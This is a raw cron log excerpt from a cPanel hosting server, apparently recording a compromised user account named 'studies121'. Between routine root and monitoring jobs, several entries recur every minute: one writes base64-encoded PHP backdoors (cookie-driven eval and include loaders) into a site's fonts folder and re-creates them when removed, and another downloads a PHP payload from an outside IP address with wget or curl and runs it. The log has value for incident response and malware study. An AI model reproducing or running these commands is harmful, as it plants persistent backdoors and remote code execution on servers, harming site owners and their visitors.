Feb 22 20:44:01 ip-184-168-122-23 CROND[20595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:44:01 ip-184-168-122-23 CROND[20597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:45:01 ip-184-168-122-23 CROND[20920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:45:01 ip-184-168-122-23 CROND[20922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:45:01 ip-184-168-122-23 CROND[20923]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Feb 22 20:45:01 ip-184-168-122-23 CROND[20924]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:45:01 ip-184-168-122-23 CROND[20925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:45:01 ip-184-168-122-23 CROND[20927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:45:01 ip-184-168-122-23 CROND[20928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:46:01 ip-184-168-122-23 CROND[21283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:46:01 ip-184-168-122-23 CROND[21284]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:46:01 ip-184-168-122-23 CROND[21288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:46:01 ip-184-168-122-23 CROND[21291]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 20:46:01 ip-184-168-122-23 CROND[21289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:46:01 ip-184-168-122-23 CROND[21290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:47:01 ip-184-168-122-23 CROND[21634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:47:01 ip-184-168-122-23 CROND[21636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:47:01 ip-184-168-122-23 CROND[21637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:47:01 ip-184-168-122-23 CROND[21638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:48:01 ip-184-168-122-23 CROND[21958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:48:01 ip-184-168-122-23 CROND[21960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:48:01 ip-184-168-122-23 CROND[21962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:48:01 ip-184-168-122-23 CROND[21961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:48:01 ip-184-168-122-23 CROND[21963]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:49:01 ip-184-168-122-23 CROND[22368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:49:01 ip-184-168-122-23 CROND[22369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:49:01 ip-184-168-122-23 CROND[22370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:49:01 ip-184-168-122-23 CROND[22374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:50:01 ip-184-168-122-23 CROND[22718]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:50:02 ip-184-168-122-23 CROND[22721]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:50:02 ip-184-168-122-23 CROND[22723]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 20:50:02 ip-184-168-122-23 CROND[22725]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:50:02 ip-184-168-122-23 CROND[22727]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:50:02 ip-184-168-122-23 CROND[22722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:50:02 ip-184-168-122-23 CROND[22720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:50:02 ip-184-168-122-23 CROND[22726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:50:02 ip-184-168-122-23 CROND[22724]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 20:51:02 ip-184-168-122-23 CROND[23075]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:51:02 ip-184-168-122-23 CROND[23078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:51:02 ip-184-168-122-23 CROND[23079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:51:02 ip-184-168-122-23 CROND[23077]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:52:01 ip-184-168-122-23 CROND[23410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:52:01 ip-184-168-122-23 CROND[23412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:52:01 ip-184-168-122-23 CROND[23414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:52:01 ip-184-168-122-23 CROND[23413]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:52:01 ip-184-168-122-23 CROND[23415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:53:01 ip-184-168-122-23 CROND[23765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:53:01 ip-184-168-122-23 CROND[23767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:53:01 ip-184-168-122-23 CROND[23768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:53:01 ip-184-168-122-23 CROND[23771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:54:01 ip-184-168-122-23 CROND[24086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:54:01 ip-184-168-122-23 CROND[24088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:54:01 ip-184-168-122-23 CROND[24089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:54:01 ip-184-168-122-23 CROND[24090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:54:01 ip-184-168-122-23 CROND[24091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:55:01 ip-184-168-122-23 CROND[24501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 20:55:01 ip-184-168-122-23 CROND[24503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:55:01 ip-184-168-122-23 CROND[24505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 20:55:01 ip-184-168-122-23 CROND[24506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 20:55:01 ip-184-168-122-23 CROND[24508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 20:55:01 ip-184-168-122-23 CROND[24507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 20:56:01 ip-184-168-122-23 CROND[24855]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 20:56:01 ip-184-168-122-23 CROND[24857]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 20:56:01 ip-184-168-122-23 CROND[24858]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
